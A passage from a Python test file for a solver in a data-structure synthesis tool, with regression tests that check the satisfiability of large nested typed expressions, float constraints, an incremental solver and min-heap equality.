ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat()), '==', EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TBool()), EListGet(EStateVar(EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), ENum(1).with_type(TInt())).with_type(TFloat()), EStateVar(EUnaryOp('the', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat())).with_type(TFloat()), EStateVar(EUnaryOp('the', EFilter(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '<', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TBool()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat())).with_type(TFloat())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt()), EVar('isDropped').with_type(TBool())]), collection_depth=4, validate_model=True) def test_listget_regression2(self): satisfy(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EVar('isDropped').with_type(TBool()), '=>', EBinOp(EBinOp(EVar('dropped').with_type(TInt()), '>=', ENum(0).with_type(TInt())).with_type(TBool()), 'and', EBinOp(EVar('dropped').with_type(TInt()), '<', EUnaryOp('len', EVar('xs').with_type(TList(TFloat()))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'and', EUnaryOp('exists', EVar('xs').with_type(TList(TFloat()))).with_type(TBool())).with_type(TBool()), '=>', EBinOp(EUnaryOp('the', EMap(EBinOp(EStateVar(ECond(EVar('isDropped').with_type(TBool()), EVar('xs').with_type(TList(TFloat())), EEmptyList().with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), '-', ESingleton(EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat()))).with_type(TFloat()), '==', EMapGet(EStateVar(EMakeMap2(EVar('xs').with_type(TList(TFloat())), ELambda(EVar('_key6586').with_type(TFloat()), EVar('_key6586').with_type(TFloat()))).with_type(TMap(TFloat(), TFloat()))).with_type(TMap(TFloat(), TFloat())), EUnaryOp('the', EMap(EBinOp(EStateVar(ECond(EVar('isDropped').with_type(TBool()), EVar('xs').with_type(TList(TFloat())), EEmptyList().with_type(TList(TFloat()))).with_type(TList(TFloat()))).with_type(TList(TFloat())), '-', ESingleton(EStateVar(EListGet(EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt())).with_type(TFloat())).with_type(TFloat())).with_type(TList(TFloat()))).with_type(TList(TFloat())), ELambda(EVar('x').with_type(TFloat()), EBinOp(ECall('log', (EBinOp(ENum(1.0).with_type(TFloat()), '+', EVar('x').with_type(TFloat())).with_type(TFloat()),)).with_type(TFloat()), '+', ECall('log', (ENum(1.5).with_type(TFloat()),)).with_type(TFloat())).with_type(TFloat()))).with_type(TList(TFloat()))).with_type(TFloat())).with_type(TFloat())).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TList(TFloat())), EVar('dropped').with_type(TInt()), EVar('isDropped').with_type(TBool())]), collection_depth=4, validate_model=True) def test_listget_regression3(self): satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EVar('l').with_type(TList(TNative('Object'))), '==', EDropFront(EBinOp(EVar('l').with_type(TList(TNative('Object'))), '+', ESingleton(EListGet(EVar('l').with_type(TList(TNative('Object'))), ENum(0).with_type(TInt())).with_type(TNative('Object'))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TList(TNative('Object')))).with_type(TBool())).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('l').with_type(TList(TNative('Object')))]), collection_depth=2, validate_model=True) def test_var_under_estatevar(self): # wow, very tricky! # EStateVar(...) needs to be "separable" from the parent, so bound vars # get cleared. Thus, if EStateVar(x) appears somewhere, then `x` is # is free, even if it appears in e.g. \x -> EStateVar(x). x = EVar("x").with_type(INT) e = EUnaryOp(UOp.Exists, EFilter(ESingleton(ONE), ELambda(x, EStateVar(EEq(x, ZERO))))) print(pprint(e)) assert retypecheck(e) model = satisfy(e, validate_model=True) print(model) assert model is not None def test_regression18(self): satisfy(ELet(EMakeMap2(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1022').with_type(THandle('T', TNative('X'))), EUnaryOp('distinct', EMap(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1021').with_type(THandle('T', TNative('X'))), EGetField(EVar('_var1022').with_type(THandle('T', TNative('X'))), 'val').with_type(TNative('X')))).with_type(TBag(TNative('X')))).with_type(TBag(TNative('X'))))).with_type(TMap(THandle('T', TNative('X')), TBag(TNative('X')))), ELambda(EVar('_var4063977').with_type(TMap(THandle('T', TNative('X')), TBag(TNative('X')))), ELet(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var4063972').with_type(TBag(THandle('T', TNative('X')))), EUnaryOp('not', EBinOp(EUnaryOp('not', EBool(True).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EFlatMap(EVar('_var4063972').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1022').with_type(THandle('T', TNative('X'))), EMapGet(EVar('_var4063977').with_type(TMap(THandle('T', TNative('X')), TBag(TNative('X')))), EVar('_var1021').with_type(THandle('T', TNative('X')))).with_type(TBag(TNative('X'))))).with_type(TBag(TNative('X'))), ELambda(EVar('_var0').with_type(TNative('X')), EBinOp(EVar('_var0').with_type(TNative('X')), '==', EVar('_var4063963').with_type(TNative('X'))).with_type(TBool()))).with_type(TBag(TNative('X')))).with_type(TInt()), '>', EUnaryOp('len', EFilter(EUnaryOp('distinct', EMap(EVar('xs').with_type(TBag(THandle('T', TNative('X')))), ELambda(EVar('_var1021').with_type(THandle('T', TNative('X'))), EGetField(EVar('_var1021').with_type(THandle('T', TNative('X'))), 'val').with_type(TNative('X')))).with_type(TBag(TNative('X')))).with_type(TBag(TNative('X'))), ELambda(EVar('_var0').with_type(TNative('X')), EBinOp(EVar('_var0').with_type(TNative('X')), '==', EVar('_var4063963').with_type(TNative('X'))).with_type(TBool()))).with_type(TBag(TNative('X')))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBool()))).with_type(TBool()), vars=OrderedSet([EVar('xs').with_type(TBag(THandle('T', TNative('X')))), EVar('_var1021').with_type(THandle('T', TNative('X'))), EVar('_var4063963').with_type(TNative('X'))]), collection_depth=3, validate_model=True) def test_floats(self): x = EVar("x").with_type(FLOAT) y = EVar("y").with_type(FLOAT) z = EVar("z").with_type(FLOAT) for op in ("+", "-", "*"): e = EEq(EBinOp(x, op, y).with_type(FLOAT), z) check_encoding(e) def test_float_constants(self): x = EVar("x").with_type(FLOAT) a = EVar("a").with_type(FLOAT) b = EVar("b").with_type(FLOAT) c = EVar("c").with_type(FLOAT) zero = ENum(0.0).with_type(FLOAT) one = ENum(1.0).with_type(FLOAT) n1 = ENum(6.0).with_type(FLOAT) n2 = ENum(-13685.0).with_type(FLOAT) e = EAll([ EEq(EBinOp(x, "*", n1).with_type(FLOAT), n2), EEq(ECall("f", (EBinOp(x, "+", one).with_type(FLOAT),)).with_type(FLOAT), one), EEq(ECall("f", (a,)).with_type(FLOAT), zero), EEq(ECall("f", (b,)).with_type(FLOAT), zero), EEq(ECall("f", (c,)).with_type(FLOAT), zero), ]) print(satisfy(e, validate_model=True)) def test_regression19(self): e = ELet(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELet(EMakeMap2(EMap(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var1012').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELambda(EVar('_tmp1008019').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELet(EFlatMap(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), ESingleton(EVar('_var1012').with_type(THandle('H', TNative('Value')))).with_type(TBag(THandle('H', TNative('Value')))))).with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_tmp1008026').with_type(TBag(THandle('H', TNative('Value')))), ELet(EVar('_var1008010').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELambda(EVar('_tmp1008048').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELet(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1008013').with_type(TBag(THandle('H', TNative('Value')))), ELet(EMap(EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), EVar('_tmp1008019').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var1008012').with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELet(EVar('_tmp1008019').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELambda(EVar('_var1008011').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), ELet(EMapKeys(EVar('_var1008011').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_tmp1008044').with_type(TBag(TNative('Value'))), EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('unique', EVar('_tmp1008014').with_type(TBag(THandle('H', TNative('Value'))))).with_type(TBool()), 'and', EUnaryOp('all', EMap(EVar('_tmp1008026').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), ELet(EVar('_var1012').with_type(THandle('H', TNative('Value'))), ELambda(EVar('_tmp1008029').with_type(THandle('H', TNative('Value'))), EUnaryOp('all', EMap(EVar('_tmp1008026').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1013').with_type(THandle('H', TNative('Value'))), ELet(EVar('_var1013').with_type(THandle('H', TNative('Value'))), ELambda(EVar('_tmp1008030').with_type(THandle('H', TNative('Value'))), EBinOp(EUnaryOp('not', EBinOp(EVar('_tmp1008029').with_type(THandle('H', TNative('Value'))), '==', EVar('_tmp1008030').with_type(THandle('H', TNative('Value')))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EGetField(EVar('_tmp1008029').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')), '==', EGetField(EVar('_tmp1008030').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value'))).with_type(TBool())).with_type(TBool()))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EFlatMap(EVar('_tmp1008044').with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EVar('_var1008012').with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_tmp1008048').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt()), '>', EUnaryOp('len', EFilter(EFlatMap(EVar('_var1008013').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var1012').with_type(THandle('H', TNative('Value'))), EMap(EVar('_tmp1008044').with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EMakeMap2(EEmptyList().with_type(TBag(TNative('Value'))), ELambda(EVar('_var1009').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_tmp1008048').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()))).with_type(TBool()) satisfy(e, vars=OrderedSet([EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), EVar('_var1008010').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))]), collection_depth=3, validate_model=True) def test_regression20(self): e = EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EUnaryOp('unique', EVar('xs').with_type(TBag(THandle('H', TNative('Value'))))).with_type(TBool()), 'and', EUnaryOp('all', EMap(EFlatMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), ESingleton(EVar('_var861').with_type(THandle('H', TNative('Value')))).with_type(TBag(THandle('H', TNative('Value')))))).with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EUnaryOp('all', EMap(EFlatMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), ESingleton(EVar('_var861').with_type(THandle('H', TNative('Value')))).with_type(TBag(THandle('H', TNative('Value')))))).with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var862').with_type(THandle('H', TNative('Value'))), EBinOp(EUnaryOp('not', EBinOp(EVar('_var861').with_type(THandle('H', TNative('Value'))), '==', EVar('_var862').with_type(THandle('H', TNative('Value')))).with_type(TBool())).with_type(TBool()), 'or', EBinOp(EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')), '==', EGetField(EVar('_var862').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value'))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool()))).with_type(TBag(TBool()))).with_type(TBool())).with_type(TBool())).with_type(TBool()), 'or', EUnaryOp('not', EBinOp(EUnaryOp('len', EFilter(EFlatMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_var3546165').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt()), '>', EUnaryOp('len', EFilter(EFlatMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EMap(EMapKeys(EStateVar(EMakeMap2(EMap(EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), ELambda(EVar('_var861').with_type(THandle('H', TNative('Value'))), EGetField(EVar('_var861').with_type(THandle('H', TNative('Value'))), 'val').with_type(TNative('Value')))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EMakeMap2(EEmptyList().with_type(TBag(TNative('Value'))), ELambda(EVar('_var858').with_type(TNative('Value')), EEmptyList().with_type(TBag(THandle('H', TNative('Value')))))).with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))), ELambda(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), EBinOp(EVar('_var0').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))), '==', EVar('_var3546165').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))).with_type(TBool()))).with_type(TBag(TMap(TNative('Value'), TBag(THandle('H', TNative('Value'))))))).with_type(TInt())).with_type(TBool())).with_type(TBool())).with_type(TBool())).with_type(TBool()) satisfy(e, vars=OrderedSet([EVar('xs').with_type(TBag(THandle('H', TNative('Value')))), EVar('_var3546165').with_type(TMap(TNative('Value'), TBag(THandle('H', TNative('Value')))))]), collection_depth=3, validate_model=True) def test_incremental_solver(self): s = IncrementalSolver() e1 = EVar("x").with_type(BOOL) e2 = EEq(EVar("x").with_type(INT), ZERO) s.satisfy(e1) s.satisfy(e2) s.satisfy(e1) def test_regression21(self): e = EBinOp(EMakeMinHeap(EVar('xs'), ELambda(EVar('x'), EVar('x'))), '==', EMakeMinHeap(EBinOp(EVar('xs'), '+', ESingleton(EVar('i'))), ELambda(EVar('x'), EVar('x')))) assert retypecheck(e, env={"xs": TBag(TNative("T")), "i": TNative("T")}) assert not satisfiable(e, validate_model=True) def test_regression22(self): e = EUnaryOp('not', EBinOp(EMapGet(EStateVar(EMakeMap2(EMap(EVar('reqs').with_type(TBag(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))))), ELambda(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), EGetField(EGetField(EVar('_var1780').with_type(THandle('Request', TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>')))))), 'val').with_type(TRecord((('rq_expiration', TNative('Date_t')), ('rq_host', TNative('HostAndPort')), ('rq_callback', TNative('std::unique_ptr<ConnectionPool::GetConnectionCallback>'))))), 'rq_host').with_type(TNative('HostAndPort')))).with_type(TBag(TNative('HostAndPort'))), ELambda(EVar('_var1778').with_type(TNative('HostAndPort')), EMapGet(EMakeMap2(EMap(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('_var944').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EGetField(EGetField(EVar('_var944').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')))).with_type(TBag(TNative('HostAndPort'))), ELambda(EVar('_var943').with_type(TNative('HostAndPort')), EFilter(EVar('conns').with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))), ELambda(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EBinOp(EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('HostAndPort')), '==', EVar('_var943').with_type(TNative('HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EGetField(EVar('c').with_type(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), 'val').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))), EVar('_var1778').with_type(TNative('HostAndPort'))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))))).with_type(TMap(TNative('HostAndPort'), TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('HostAndPort')), ('conn_iface', TNative('ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('Date_t')), ('conn_returned', TNative('Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))))), EVar('p').with_type(TNative('HostAndPort'))).with_type(TBag(THandle('Connection', TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', 